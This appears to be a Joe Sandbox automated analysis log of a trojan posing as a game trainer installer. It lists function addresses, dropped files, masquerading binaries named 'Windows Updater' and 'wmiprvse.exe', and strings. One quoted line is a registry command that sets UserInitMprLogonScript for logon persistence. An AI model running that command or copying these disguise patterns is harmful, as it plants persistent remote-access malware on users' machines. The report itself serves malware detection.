Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A580F59	20_2_6A580F59
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A574FEA	20_2_6A574FEA
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A574C5C	20_2_6A574C5C
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A557DF0	20_2_6A557DF0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A5873B7	20_2_6A5873B7
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A586190	20_2_6A586190
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A57F4D0	20_2_6A57F4D0
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A57D4CA	20_2_6A57D4CA
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000B4720	28_2_000B4720
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_00098770	28_2_00098770
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000B4AC0	28_2_000B4AC0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000913C0	28_2_000913C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000995B0	28_2_000995B0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000BE860	28_2_000BE860
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000D3E60	28_2_000D3E60
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000E84EA	28_2_000E84EA
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000E0555	28_2_000E0555
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000EC640	28_2_000EC640
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000E08E3	28_2_000E08E3
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000C4F50	28_2_000C4F50
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000B91A0	28_2_000B91A0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000797B0	28_2_000797B0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000F17CD	28_2_000F17CD
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000858C0	28_2_000858C0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000EDBC9	28_2_000EDBC9
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000722F0	28_2_000722F0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000A64A0	28_2_000A64A0
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_00072550	28_2_00072550
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_0006E820	28_2_0006E820
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000BAC10	28_2_000BAC10
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000F2F11	28_2_000F2F11
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000E3E50	28_2_000E3E50
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000F7E60	28_2_000F7E60
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00544720	31_2_00544720
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0054E860	31_2_0054E860
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00544AC0	31_2_00544AC0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0054AC10	31_2_0054AC10
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00554F50	31_2_00554F50
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005213C0	31_2_005213C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005295B0	31_2_005295B0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00563E60	31_2_00563E60
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005022F0	31_2_005022F0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005784EA	31_2_005784EA
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005364A0	31_2_005364A0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00502550	31_2_00502550
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00570555	31_2_00570555
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0057C640	31_2_0057C640
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00528770	31_2_00528770
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_004FE820	31_2_004FE820
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005708E3	31_2_005708E3
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00582F11	31_2_00582F11
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005491A0	31_2_005491A0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005817CD	31_2_005817CD
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005097B0	31_2_005097B0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_005158C0	31_2_005158C0
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0057DBC9	31_2_0057DBC9
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00573E50	31_2_00573E50
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_00587E60	31_2_00587E60

Source: Joe Sandbox View	Dropped File: 680af9.rbf (copy) C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66
Source: Joe Sandbox View	Dropped File: 680aff.rbf (copy) C7EE9A8357EEB602C67C4EDEDB3E96510352FDDA9BFDCE60C5902D4C0A57AF66

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 6A56DCA0 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 001B70D0 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 002B35B0 appears 61 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 001B7160 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 001BD8D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 001B9990 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 001B9120 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: String function: 001B87D0 appears 222 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 00067990 appears 34 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 000622B0 appears 157 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 000D8122 appears 35 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 000632C0 appears 185 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 000D8BC0 appears 55 times
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: String function: 00063430 appears 200 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 004F3430 appears 200 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 004F22B0 appears 157 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 004F7990 appears 34 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 00568BC0 appears 55 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 004F32C0 appears 185 times
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: String function: 00568122 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: String function: 1001B074 appears 45 times

Source: ZmWSzgevgt.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-74O1B.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: setup.tmp.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: a0.tmp.5.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-1L53Q.tmp.7.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: AdvancedWindowsManager.exe.21.dr

Static PE information: Number of sections : 11 > 10

Source: ZmWSzgevgt.exe, 00000000.00000002.4546319029.0000000000B18000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe, 00000000.00000003.2006403390.0000000002658000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe, 00000000.00000003.2006775395.000000007FE35000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe, 00000000.00000000.2004852176.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe
Source: ZmWSzgevgt.exe	Binary or memory string: OriginalFileName vs ZmWSzgevgt.exe

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Section loaded: lpk.dll
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Section loaded: davhlpr.dllole32.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Section loaded: lpk.dll
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll

Source: ZmWSzgevgt.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe" /f

Source: shi4D3B.tmp.33.dr

Binary string: \Device\NameResTrk\RecordNrtCloneOpenPacket

Source: classification engine

Classification label: mal64.troj.evad.winEXE@101/607@56/21

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002B9370 FormatMessageW,GetLastError,

20_2_002B9370

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002E3330 GetDiskFreeSpaceExW,

20_2_002E3330

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Code function: 28_2_000CE8C0 CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,GetWindowThreadProcessId,GetWindowTextW,GetWindowLongW,GetWindowLongW,GetWindowLongW,GetWindowLongW,

28_2_000CE8C0

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe

Code function: 28_2_000C9270 CoCreateInstance,

28_2_000C9270

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_0024E810 FindResourceW,LoadResource,LockResource,SizeofResource,

20_2_0024E810

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

File created: C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4368:120:WilError_03
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Mutant created: \BaseNamedObjects\C:_Program Files (x86)_AW Manager_Windows Manager_Windows Updater.mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7412:120:WilError_03

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe

File created: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp

Jump to behavior

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Command line argument: RICHED20.DLL	28_2_000C8850
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Command line argument: RICHED20.DLL	31_2_00558850
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Command line argument: >wX	31_2_00587690

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\setup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a0.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe

File read: C:\ProgramData\regid.1993-06.com.microsoft\client32.ini

Jump to behavior

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Registry] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[type] nvarchar(2147483647) DEFAULT 'String',[value] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [UpdateBundlePackage] ([updatebundleupi2] nvarchar(2147483647) NOT NULL CHECK (updatebundleupi2 <> ''),[updatepackageupi2] nvarchar(2147483647) NOT NULL CHECK (updatepackageupi2 <> ''),PRIMARY KEY([updatebundleupi2],[updatepackageupi2]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [BundlePackageRegistry] ([bundleupgradecode] nvarchar(2147483647) NOT NULL CHECK (bundleupgradecode <> ''),[packageupi2] nvarchar(2147483647) NOT NULL CHECK (packageupi2 <> ''),[upgradecode] nvarchar(2147483647) NOT NULL CHECK (upgradecode <> ''),PRIMARY KEY([bundleupgradecode],[packageupi2]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [UpdateBundleArp] ([updatebundleupi2] nvarchar(2147483647) NOT NULL CHECK (updatebundleupi2 <> ''),[refupdatebundleupi2] nvarchar(2147483647) CHECK (refupdatebundleupi2 <> ''),PRIMARY KEY([updatebundleupi2],[refupdatebundleupi2]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [GlobalData] ([key] nvarchar(2147483647) NOT NULL CHECK (key <> ''), [value] TEXT NULL, PRIMARY KEY([key]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Registry] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[root] nvarchar(2147483647) NOT NULL CHECK (root <> ''),[value] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [States] ([state] varchar2 NOT NULL UNIQUE CHECK (state <> ''));
Source: a1.exe, 00000014.00000003.2312703342.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2312927333.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM `Property` WHERE ;
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Shortcut] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[commandline] nvarchar(2147483647),PRIMARY KEY([path]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [PackageDependencies] ([packageupi2] nvarchar(2147483647) NOT NULL CHECK (packageupi2 <> ''),[dependencyupi2] nvarchar(2147483647) NOT NULL CHECK (dependencyupi2 <> ''),[istarget] nvarchar(2147483647) NOT NULL CHECK (istarget <> ''),[targetmethod] nvarchar(2147483647) CHECK (targetmethod <> ''),PRIMARY KEY([packageupi2],[dependencyupi2]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [Package] ([upi2] nvarchar(2147483647) NOT NULL CHECK (upi2 <> ''),[name] nvarchar(2147483647) NOT NULL CHECK (name <> ''),[upgradeCode] nvarchar(2147483647) NOT NULL CHECK (upgradeCode <> ''),[installPathMappingsJson] text NULL,PRIMARY KEY([upi2]));
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [File] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Font] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> ''),[checksum] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Registry] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[type] nvarchar(2147483647) DEFAULT 'String',[value] nvarchar(2147483647),PRIMARY KEY([path]));CREATE TABLE [Shortcut] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[commandline] nvarchar(2147483647),PRIMARY KEY([path]));]) ON DELETE NO ACTION ON UPDATE NO ACTION);CREATE TABLE [PackageFile] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[upi2] nvarchar(2147483647) NOT NULL CHECK (upi2 <> ''),CONSTRAINT[sqlite_autoindex_PackageFile_1] PRIMARY KEY([path], [upi2]), FOREIGN KEY([upi2]) REFERENCES[Package]([CREATE TABLE [PackageFont] ([path] nvarchar(2147483647) NOT NULL CHECK (path <> '') COLLATE NOCASE,[upi2] nvarchar(2147483647) NOT NULL CHECK (upi2 <> ''),CONSTRAINT[sqlite_autoindex_PackageFont_1] PRIMARY KEY([path], [upi2]), FOREIGN KEY([upi2]) REFERENCES[Package]([P
Source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE [PackageDependencies] ([packageupi2] nvarchar(2147483647) NOT NULL CHECK (packageupi2 <> ''),[dependencyupi2] nvarchar(2147483647) NOT NULL CHECK (dependencyupi2 <> ''),PRIMARY KEY([packageupi2],[dependencyupi2]));

Source: ZmWSzgevgt.exe

ReversingLabs: Detection: 29%

Source: a1.exe	String found in binary or memory: https://installeranalytics.com
Source: Windows Updater.exe	String found in binary or memory: -startminimized
Source: Windows Updater.exe	String found in binary or memory: /install
Source: Windows Updater.exe	String found in binary or memory: -startappfirst
Source: Windows Updater.exe	String found in binary or memory: -installready
Source: Windows Updater.exe	String found in binary or memory: /installservice
Source: Windows Updater.exe	String found in binary or memory: /install
Source: Windows Updater.exe	String found in binary or memory: -startminimized
Source: Windows Updater.exe	String found in binary or memory: -startappfirst
Source: Windows Updater.exe	String found in binary or memory: -installready
Source: Windows Updater.exe	String found in binary or memory: /installservice
Source: ZmWSzgevgt.exe	String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\ZmWSzgevgt.exe

File read: C:\Users\user\Desktop\ZmWSzgevgt.exe

Jump to behavior

